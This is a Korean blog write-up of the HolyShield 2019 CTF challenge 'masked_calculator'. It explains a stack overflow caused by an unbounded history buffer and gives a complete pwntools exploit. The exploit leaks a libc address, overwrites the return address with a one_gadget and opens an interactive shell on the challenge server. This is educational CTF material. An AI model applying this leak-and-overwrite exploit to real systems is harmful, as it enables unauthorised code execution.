holyshield 2019 masked_calculator
대회중에 풀긴 했는데 풀면서 오퍼레이터 문제에 진짜 취약하다는 걸 느껴서 포스팅한다.
위와 같은 메뉴로 구성이 되어 있다.
분석했을 때 특별한 점은 딱히 없었다..
먼저 두 정수를 입력 받고 2진수로 바꾼다.
이 후 사칙 연산에 대해서는 이 2진수를 이용하여 연산하는 과정이 담겨 있다.
별로 중요해보이지 않았다.
여기서, 연산한 값을 계속해서 HISTORY
에 저장하는 함수가 존재한다.
취약점은 이곳에서 발생한다.
HISTORY
에 4
를 더해가며 연산한 값을 넣어주는데, HISTORY
는 main
의 rbp-0xb0
에 존재하고 있다.
연산 횟수 제한을 두지 않아, 스택 오버플로우가 발생한다!
이를 이용해 LEAK
, STACK OVERWRITE
모든게 가능하다.
=
를 통해 값을 대입하는 것이 아닌, +=
로 값을 더해주므로, 릭이 가능하다.
history
에서 출력해주는 값은, i
와 xor
연산한 값이므로, 이들을 계산하여 libc_start_main
을 릭하면 된다.
from pwn import *
#context.log_level= 'debug'
e = ELF('masked_calculator')
s = conncet('1.224.175.12',9980)
#s = process(e.path)
#l = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
l = ELF('libc.so.6', checksec=False)
ru = lambda x: s.recvuntil(x)
sl = lambda x: s.sendline(x)
p = lambda : pause()
io = lambda : s.interactive()
sla = lambda x,y: s.sendlineafter(x,y)
sa = lambda x,y: s.sendafter(x,y)
def menu(sel):
sla('>> ', sel)
def add(sel, lval='', rval=''):
menu(sel)
sla('>> ', lval + ' ' + rval)
def history():
menu('5')
for i in range(48):
add('4', '0', '1')
history()
ru('0 '*10)
ru(' 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 ')
leak = s.recvline()
log.info('leak: {}'.format(leak))
lval = ((int(leak.split()[10]) & 0xffffffff)^0x2e) - 0x2e
rval = ((int(leak.split()[11]))^0x2f) - 0x2f
l_base = int(hex(rval) + hex(lval).split('0x')[1],16) - 0x20830
log.info('l_base: {}'.format(hex(l_base)))
one = l_base + 0x45216
for i in range(46):
add('2', '1234', '1234')
r = int('0x'+hex(one)[6:14],16) + 0x32
l = int('0x'+hex(one)[2:6],16) - 0x5f
add('1', '0', str(r))
add('1', '0', str(l))
sla('>> ', '6')
io()
'system > writeup' 카테고리의 다른 글
2018 hctf babyprintf_ver2 (0) | 2019.10.29 |
---|---|
2019 seccon monoid_operator (0) | 2019.10.27 |
dvp 2019 monica's bank + dvp 해킹대회&컨퍼런스 후기 (0) | 2019.10.22 |
root-me mips stack buffer overflow (0) | 2019.08.12 |
2019 securinet baby_two (0) | 2019.03.25 |